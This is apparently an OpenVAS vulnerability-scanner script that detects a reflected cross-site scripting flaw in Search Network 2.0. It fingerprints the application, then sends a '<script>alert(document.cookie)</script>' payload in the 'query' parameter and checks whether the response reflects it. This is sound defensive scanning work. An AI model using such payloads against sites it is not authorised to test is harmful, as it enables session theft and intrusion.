Search Network 'search.php' Cross Site Scripting Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_search_network_xss_vuln.nasl 5793 2017-03-30 13:40:15Z cfi $
#
# Search Network 'search.php' Cross Site Scripting Vulnerability
#
# Authors:
# Antu Sanadi <[email protected]>
#
# Copyright:
# Copyright (c) 2011 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation could allow execution of scripts or
actions written by an attacker. In addition, an attacker may obtain
authorisation cookies that would allow him to gain unauthorised access to the
application.

Impact Level: Application";

tag_affected = "Search Network version 2.0 and prior.";

tag_insight = "The flaw is due to failure in the 'search.php' script to
properly sanitize user supplied input in 'action' and 'query' parameters.";

tag_solution = "No solution or patch was made available for at least one year
since disclosure of this vulnerability. Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective
features, remove the product or replace the product by another one.";

tag_summary = "This host is running Search Network and is prone to cross site
scripting vulnerability.";

if(description)
{
  script_id(801974);
  script_version("$Revision: 5793 $");
  script_tag(name:"last_modification", value:"$Date: 2017-03-30 15:40:15 +0200 (Thu, 30 Mar 2017) $");
  script_tag(name:"creation_date", value:"2011-09-09 17:36:48 +0200 (Fri, 09 Sep 2011)");
  script_bugtraq_id(49064);
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_name("Search Network 'search.php' Cross Site Scripting Vulnerability");
  script_xref(name : "URL" , value : "http://www.securityfocus.com/bid/49064/exploit");
  script_xref(name : "URL" , value : "http://packetstormsecurity.org/files/view/103780/searchnetwork-xss.txt");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (c) 2011 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "http_version.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  script_tag(name:"solution_type", value:"WillNotFix");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:80);

if(!can_host_php(port:port)) {
  exit(0);
}

foreach dir( make_list_unique( "/sn", "/search_network", "/", cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";

  res = http_get_cache(item:string(dir,"/index.php"), port:port);

  ## Confirm the application
  if("www.searchnetworkhq.com" >< res)
  {
    req = http_get(item:string(dir, '/index.php?searchType=Videos&query' +
          '="<script>alert(document.cookie)<%2Fscript>'), port:port);
    res = http_keepalive_send_recv(port:port, data:req);

    ## Confirm exploit worked by checking the response
    if(res =~ "HTTP/1\.. 200" && '"<script>alert(document.cookie)</script>' >< res)
    {
      security_message(port);
      exit(0);
    }
  }
}